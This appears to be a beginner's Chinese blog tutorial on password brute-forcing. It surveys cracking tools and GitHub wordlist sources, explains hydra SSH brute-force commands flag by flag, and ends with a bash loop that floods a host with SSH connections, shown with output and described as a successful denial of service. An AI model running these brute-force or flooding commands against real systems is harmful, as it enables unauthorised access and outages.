在扫描探测任务中, 经常会遇到一些开放的高危 端口, 这个时候,会忍不住想爆破一把试试, 期待好运降临, 万一爆破成功了呢?
笔者作为一个安全初学者, 主要关注以下几点:
hydra: 这款密码爆破工具功能非常强大,支持的协议非常之多,比如常见的rdp、ssh、FTP、smb等, 本文主要介绍这种爆破工具的使用
Brutus:称最快最灵活对的密码破解工具,最早发布于2000年的Brutus是目前最流行的远程在线密码破解工具,目前该工具免费,但只有windows版本
RainbowCrack: RainbowCrack是一个哈希破解工具,无需自己生成彩虹表。
Wfuzz:Wfuzz是一个web应用密码暴力破解工具。
Cain and Abel : Cain and Abel是注明的多任务密码破解工具。值得注意的是该工具仅能运行于Windows平台,可以作为网络嗅探器使用,用字典攻击破解加密密码,记录VoIP对话,暴力攻击、密码分析攻击,恢复缓存密码和乱序密码等。
OphCrack: 是Windows平台上一个免费的基于彩虹表的密码破解工具,也是最流行的windows密码破解工具,也可以应用于Linux和Mac系统,能够破解LM和NTLM哈希表。
学习过程中, 主要获取密码字典的方式如下
对于密码字典, 推荐在github上寻找, 直接百度谷歌的, 要么比较凌乱,要么字典需要收费。
Kali 系统自带字典目录wordlists,路径为 /usr/share/wordlists/ , 可以了解并使用。
自制密码字典
一、 https://github.com/huyuanzhi2/password_brute_dictionary
小结:
1. 这个项目中提供的密码字典的量级不多, 但是提供了一个自制密码的思路以及可以直接使用的密码列表,可以用作密码爆破的小试牛刀。
2. 包含项目作者自制字典的代码
二. https://github.com/rootphantomer/Blasting_dictionary
小结:
1. 这个项目中密码字典数量多,而且分类也比较充足,推荐使用
三 . https://github.com/TheKingOfDuck/fuzzDicts
小结:
其中包含各种爆破资源, 内容齐全, 对于密码爆破的字典也很优秀。
其实,想一想也明白:
Weakpass是一款基于规则的在线字典生成器 ,可以帮助广大研究人员根据输入的单词集来创建自定义字典
项目地址:
https://github.com/zzzteph/weakpass
介绍: 介绍: 这个密码生成的平台, 可以根据已知的关键字定向的生成一些密码, 符合用户设置密码的习惯。 这种策略生成的密码,命中的概率可能会高一些。
破解密码时,有很多种破解密码的方法,比如:字典,彩虹表,蛮力等。如果我们知道设置密码的策略,那么使用Crunch生成特定的字典,那么Crunch将会是最有力的密码攻击工具。
github地址:
https://github.com/crunchsec/crunch https://github.com/jaalto/external-sf--crunch-wordlist
主要参考文章。
https://www.cnblogs.com/wpjamer/p/9913380.html
网络上介绍的资源也比较多, 自己暂时还没有仔细实践过, 后续有需求会生成密码列表尝试一下。
网络上也能搜索到一些使用python脚本自制密码的思路和工具, 其中有一个比较好,印象深刻, 分享一下:
https://zhuanlan.zhihu.com/p/61354645
这里主要介绍一下ssh的爆破操作, 其他协议的爆破可在网络上查找。
爆破命令
hydra 1.1.1.1 ssh -l user -P /root/Work/sshpasswd.list -t 6 -V -f
hydra -l root -P top6000.txt -t 10 -vV -e ns 1.1.1.1 ssh
命令详细:
攻击目标:1.1.1.1
使用的模块:ssh
爆破用户名:user (-l)
使用的密码字典:/root/Work/sshpasswd.list (-P)
爆破线程数:6 (-t)
显示详细信息 (-V)
爆破成功一个后停止 (-f)
空密码探测和指定用户密码探测(-e ns)
不知有没有人遇到和我一样的情况,自己设定一个靶机, 爆破22端口ssh, 即使把正确密码放到字典列表中, 也会有可能爆破失败, 也只是概率性的成功(正确密码在列表第一个位置除外)。个人猜测, 这可能是ssh的配置起了作用, 在密码爆破时候,会限制用户登录。
思考: 基于上面的现象, 是否可以对暴露22端口的ip进行攻击, 大量尝试ssh连接受害机器, 这样是否可以造成拒绝服务访问呢?基于这个思考, 做了一次攻击试验,攻击代码如下:
while true;do ssh 1.1.1.1 & echo 'hello ssh!';done
其中1.1.1.1 为被攻击机器。
攻击机打印日志如下(打印速度较快):
Pseudo-terminal will not be allocated because stdin is not a terminal.
Pseudo-terminal will not be allocated because stdin is not a terminal.
Pseudo-terminal will not be allocated because stdin is not a terminal.
Pseudo-terminal will not be allocated because stdin is not a terminal.
kex_exchange_identification: Connection closed by remote host
kex_exchange_identification: Connection closed by remote host
kex_exchange_identification: Connection closed by remote host
Pseudo-terminal will not be allocated because stdin is not a terminal.
尝试连接被攻击机, 结果发现连接目标失败, 造成了拒绝服务访问攻击。
ssh 1.1.1.1
ssh_exchange_identification: Connection closed by remote host
结论:
笔者对于密码爆破技能的学习还处于初步阶段, 对于相关技能以及背后的技术原理将会继续探究。